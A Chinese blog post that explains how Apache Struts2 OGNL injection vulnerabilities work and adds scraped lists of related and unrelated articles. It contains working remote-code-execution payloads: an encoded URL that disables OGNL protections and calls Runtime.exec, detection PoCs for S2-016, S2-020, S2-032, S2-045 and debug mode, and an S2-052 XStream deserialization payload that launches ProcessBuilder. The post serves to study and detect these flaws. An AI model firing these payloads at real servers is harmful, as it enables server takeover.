一、struts2简介:

目前web框架中非常流行的都是mvc设计模式、经典例子例如:python的Django、Flask;java的ssm等。因为使用MVC设计模式,所以在框架内部处理用户数据流参数的事后就不可避免的存在数据在不同层次流转的问题。struts2作为java的一款成熟的web框架,自然也面临这个问题,于是struts2世纪了一套OGNL的模式来操作。

二、OGNL(表达式引擎,处理view层数据都字符串到controller层转换成java对象的问题)的简单介绍:

参考他人博客https://www.cnblogs.com/wsygoogol/p/6955725.html(鸣谢)

对于用户输入的参数存取处理api都在ognl.java中,分别由getvalue和setvalue两个函数实现

 public static Object getValue(String expression,Map context,Object root) throws OgnlException{
return getValue((String)expression,(Map)context,root,(Class)null);
}
public static void setValue(String expression,Map context,Object root,Object value) throws OgnlException{
return setValue((Object)parseExpression(expression),(Map)content,root,value);
}

三要素:

1、expression是带有语法语义的字符串,他定义了ognl要怎么处理一个对象。

2、root 被操作对象,就是ognl利用expression定义好的操作对root进行处理。访问root属性事后使用.调用:例如department.leader.name。getvalue和setvalue的对象(本质是一个java对象)。

3、content上下文环境对象,root所处的上下文环境。在这里定义为OgnlContext对象,root是其中一个特殊变量。访问使用#开始.区分,例如#root.department.leader.name(本质是一个Map结构)。

特殊的,ognl对静态属性和方法的访问,使用@classname@functiononame/varitename,举例:@core.example.core.Recourse@img/@core.example.core.Recourse@get()

三、OGNL支持构造对象(直接表达式创建):

1、构造list {} 中间用,分开元素的方式表达式列表

2、map 使用#{}构造,都好隔开key:value

3、java class的构造函数创建

四、在OGNL实现过程中的安全保护机制:

上文提到过,content在OGNL.java中定义在了计算时才动态创建的OgnlContext对象里面,并传入Map类型的content对root和一些默认行为。在一连串的过程中,struts默认配置一些安全保障机制,可惜是可以被绕过的。

 //SecurityMemberAccess类中两个参数限制
denyMethodExecution = true;//禁止执行静态方法
MemberAccess = false;//禁止静态方法访问

五、漏洞利用:

1、对#的过滤可以使用\u0023 Unicode编码代替(早期的修补方案没有考虑到编码的问题,只是简单做了过滤)

#_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))
上面绕过了两个安全机制参数的限制(修改了安全机制参数的值)

\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)
后面接的就是代码执行构造的命令执行:
&(asdf)(('\u0023rt.exec(‘ipconfig’)')(\u0023rt\[email]u003d@java.lang.Runt[/email]ime@getRuntime()))=1
 /*
http://mydomain/MyStruts.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exec(‘ipconfig’)')(\u0023rt\[email]u003d@java.lang.Runt[/email]ime@getRuntime()))=1
*/

六、参看巡风的多个PoCs的Payload:

因为对于Java的复杂代码暂时没有分析能力,所以呢,有些poc里面的东西不能完整的理解其实现的每一步,先Mark下,后面再具体来看吧。

 /*
"S2_016": {"poc": [
"redirect:${%23out%3D%23\u0063\u006f\u006e\u0074\u0065\u0078\u0074.\u0067\u0065\u0074(new \u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0053\u0074\u0072\u0069\u006e\u0067(\u006e\u0065\u0077\u0020\u0062\u0079\u0074\u0065[]{99,111,109,46,111,112,101,110,115,121,109,112,104,111,110,121,46,120,119,111,114,107,50,46,100,105,115,112,97,116,99,104,101,114,46,72,116,116,112,83,101,114,118,108,101,116,82,101,115,112,111,110,115,101})).\u0067\u0065\u0074\u0057\u0072\u0069\u0074\u0065\u0072(),%23\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u006c\u006e(\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0053\u0074\u0072\u0069\u006e\u0067(\u006e\u0065\u0077\u0020\u0062\u0079\u0074\u0065[]{46,46,81,116,101,115,116,81,46,46})),%23\u0072\u0065\u0064\u0069\u0072\u0065\u0063\u0074,%23\u006f\u0075\u0074\u002e\u0063\u006c\u006f\u0073\u0065()}"],
"key": "QtestQ"},
"S2_020": {
"poc": ["class[%27classLoader%27][%27jarPath%27]=1024", "class[%27classLoader%27][%27resources%27]=1024"],
"key": "No result defined for action"},
"S2_DEBUG": {"poc": [
"debug=command&expression=%23f%3d%23_memberAccess.getClass().getDeclaredField(%27allowStaticM%27%2b%27ethodAccess%27),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),%23o%3d@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23o.println(%27[%27%2b%27ok%27%2b%27]%27),%23o.close()"],
"key": "[ok]"},
"S2_017_URL": {"poc": ["redirect:http://360.cn/", "redirectAction:http://360.cn/%23"],
"key": "http://www.360.cn/favicon.ico"},
"S2_032": {"poc": [
"method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23w%3d%23context.get(%23parameters.rpsobj[0]),%23w.getWriter().println(66666666-2),%23w.getWriter().flush(),%23w.getWriter().close(),1?%23xx:%23request.toString&reqobj=com.opensymphony.xwork2.dispatcher.HttpServletRequest&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse"],
"key": "66666664"},
"S2_045": {"poc": [
"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println('['+'xunfeng'+']')).(#o.close())}"],
"key": "[xunfeng]"} """s2-052的,这是一个XML反序列化的与之前的不同
当启用 Struts REST的XStream handler去反序列化处理XML请求,可能造成远程代码执行漏洞,进而直接导致服务器被入侵控制。
post_data = """<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>nslookup</string><string>%s</string><string>%s</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>""" %
"""
*/

struts2漏洞原理的更多相关文章

  1. struts2漏洞原理及解决办法

    1.原理 Struts2的核心是使用的webwork框架,处理action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介 ...

  2. struts2漏洞原理及解决的方法

    1.原理 Struts2的核心是使用的webwork框架,处理 action时通过调用底层的getter/setter方法来处理http的參数,它将每一个http參数声明为一个ONGL(这里是ONGL ...

  3. Struts2漏洞利用实例

    Struts2漏洞利用实例 如果存在struts2漏洞的站,administrator权限,但是无法加管理组,内网,shell访问500. 1.struts2 漏洞原理:struts2是一个框架,他在 ...

  4. Struts2漏洞利用原理及OGNL机制

    Struts2漏洞利用原理及OGNL机制研究   概述 在MVC开发框架中,数据会在MVC各个模块中进行流转.而这种流转,也就会面临一些困境,就是由于数据在不同MVC层次中表现出不同的形式和状态而造成 ...

  5. Struts2 漏洞系列之S2-001分析

    0x00 前言   最近在学习java的相关漏洞,所以Struts2的漏洞自然是绕不开的.为了更好的理解漏洞原理,计划把Struts2所有的漏洞自己都做一个复现.并且自己去实现相关的POC.相关的环境 ...

  6. struts2漏洞复现分析合集

    struts2漏洞复现合集 环境准备 tomcat安装 漏洞代码取自vulhub,使用idea进行远程调试 struts2远程调试 catalina.bat jpda start 开启debug模式, ...

  7. Struts2工作原理

    Struts2工作原理 Struts2请求响应流程: 在struts2的应用中,从用户请求到服务器返回相应响应给用户端的过程中,包含了许多组件如:Controller.ActionProxy.Acti ...

  8. 打印机PCL漏洞原理分析

    0x01 漏洞概要 PCL代表打印机控制语言(Printer Control Language),由惠普公司开发,并被广泛使用的一种打印机协议.关于另一种页面描述语言,应该提一提由Adobe设计的Po ...

  9. 漂亮回答面试官struts2的原理

    众所周知,Struts2是个非常优秀的开源框架,我们能用Struts2框架进行开发,同时能快速搭建好一个Struts2框架,但我们是否能把Struts2框架的工作原理用语言表达清楚,你表达的原理不需要 ...

随机推荐

  1. C++中static_cast, dynamic_cast使用方法

    前言 Android的Framework层源代码中有非常多强制类型转换函数的调用.写惯了C代码的人一般都习惯以下这样的强制转换方式: double a = 89; int b = (int)a; 可是 ...

  2. Axel 快速下载

    Axel 是一个轻量级下载程序,它和其他加速器一样,对同一个文件建立多个连接,每个连接下载单独的文件片段以更快地完成下载. Axel 支持 HTTP.HTTPS.FTP 和 FTPS 协议.它也可以使 ...

  3. DataGridView使用技巧五:自动设定列宽和行高

    一.设定行高和列宽自动调整 设定包括Header和所有单元格的列宽自动调整 //设置包括Header和所有单元格的列宽自动调整 this.dgv_PropDemo.AutoSizeColumnsMod ...

  4. 说说$POST 、$HTTP_RAW_POST_DATA、php://input三者之间的区别

    $POST $_POST是我们最常用的获取POST数据的方式,它是以关联数组方式组织提交的数据,并对此进行编码处理,如urldecode,甚至编码转换,识别的数据类型是PHP默认识别的数据类型 app ...

  5. sparkR 跑通的函数

    spark1.4.0的sparkR的思路:用spark从大数据集中抽取小数据(sparkR的DataFrame),然后到R里分析(DataFrame). 这两个DataFrame是不同的,前者是分布式 ...

  6. 弄明白html、css3、js这个问题。。。

  7. e661. 确定图像中是否有透明像素

    // This method returns true if the specified image has transparent pixels public static boolean hasA ...

  8. (转)windows平台时间函数性能比较QueryPerformanceCounter,GetTickCount,ftime,time,GetLocalTime,GetSystemTimeAsFileTime

    执行 10000000 次, 耗时 2258,369 微秒     QueryPerformanceCounter 执行 10000000 次, 耗时 26,347 微秒    GetTickCoun ...

  9. nodejs基础 -- EventEmitter

    var events = require('events'); nodejs所有的异步I/O操作在完成时都会发送一个事件到事件队列 nodejs里面的许多对象都会分发事件,如: 一个net.Serve ...

  10. preventDefault

    e.preventDefault()阻止事件默认行为 例如: $("a").click(function (e) {   alert("默认行为被禁止喽"); ...